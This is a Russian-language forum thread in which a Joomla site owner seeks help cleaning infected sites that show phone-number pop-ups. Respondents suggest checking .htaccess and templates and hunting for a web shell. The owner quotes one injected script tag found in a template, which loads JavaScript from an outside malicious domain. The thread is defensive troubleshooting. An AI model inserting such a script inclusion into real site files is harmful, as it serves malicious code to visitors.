Вирус на сайте, как обнаружить скрипт? - Безопасность сайтов на Joomla

На сервере в папке www несколько сайтов. В этой же папке рядом с другими сайтами появилась папка tmp, с тремя файлами-скриптами, и jpg-файлом хакерского логотипа. Папку удалил.

При открытии любого из сайтов, в адресной строке через раз запускается скрипт с просьбой указать свой номер мобильного:
при попытке закрыть вкладку запускается ещё одно окно "Подтвердите переход", на котором нужно несколько раз нажать кнопку "Покинуть страницу" чтобы закрыть эту вкладку,
Kaspersky добавил все сайты в базу с сайтами заражеными вирусами, скачал все сайты проверил на вирусы Касперским, но он ничего не нашёл.
В корне сайтов в файле index.php никаких дополнительных файлов не нашёл в начале файла или вконце.
Пароли на root, ftp, и админку сайтов сменил.

.htaccess смотрел ? Установи новую Joomla в папку в корне сайта, и посмотри на работу чистой Joomla
index.php шаблонов проверял на редирект?

Варезные расширения были установлены/имееются сейчас?

В файле шаблона нашёл это:
В .htaccess было это:
Я так понимаю тут с 6-ой по 11-ую строку нужно удалить?

@ Eсspert,

Судя по игнорированию моего вопроса о варезе, я был прав? Да?

Из варезного ничего не устанавливал

В файле шаблона нашёл это:

Код

<script src="http://newstarmoving.com/js/j.js"></script>

В .htaccess было это:

Я так понимаю тут с 6-ой по 11-ую строку нужно удалить?

Ну ты сам уже понял ))
НО все равно ищи шелл в файлах или откуда шелл подгружается. файлы были изменены не тобой ?

Нет, не мной, а как его искать? Раньше помню тоже было другой вирус дак я его или авастом или нодом находил в файлах, щас вроде ничего нету, один сайт проверил и тем и тем, ничё не нашло, даже эти файлы в шаблонах не опредилило как вирус, видимо эти сайты такие как http://newstarmoving.com http://flowinstall.com ещё не занесены в вирусную базу

Раньше помню тоже было другой вирус дак я его или авастом или нодом находил в файлах

вот и не нашли, просто могли либо не дочистить либо вам по новой через уязвимости залили еще что то
не один антивирусник не найдет вам shell, а через него и делается все эти вещи

Не, какой-то антивирусник находил, просто видимо в коде была ссылка на вредоносный сайт, который был в базе у антивирусника, и поэтому антивирусник у меня тогда находил вредоносные файлы.

Воспользуйтесь скриптами форума и руками переберите результат. Антивирусником вы не вылечите  свой сайт.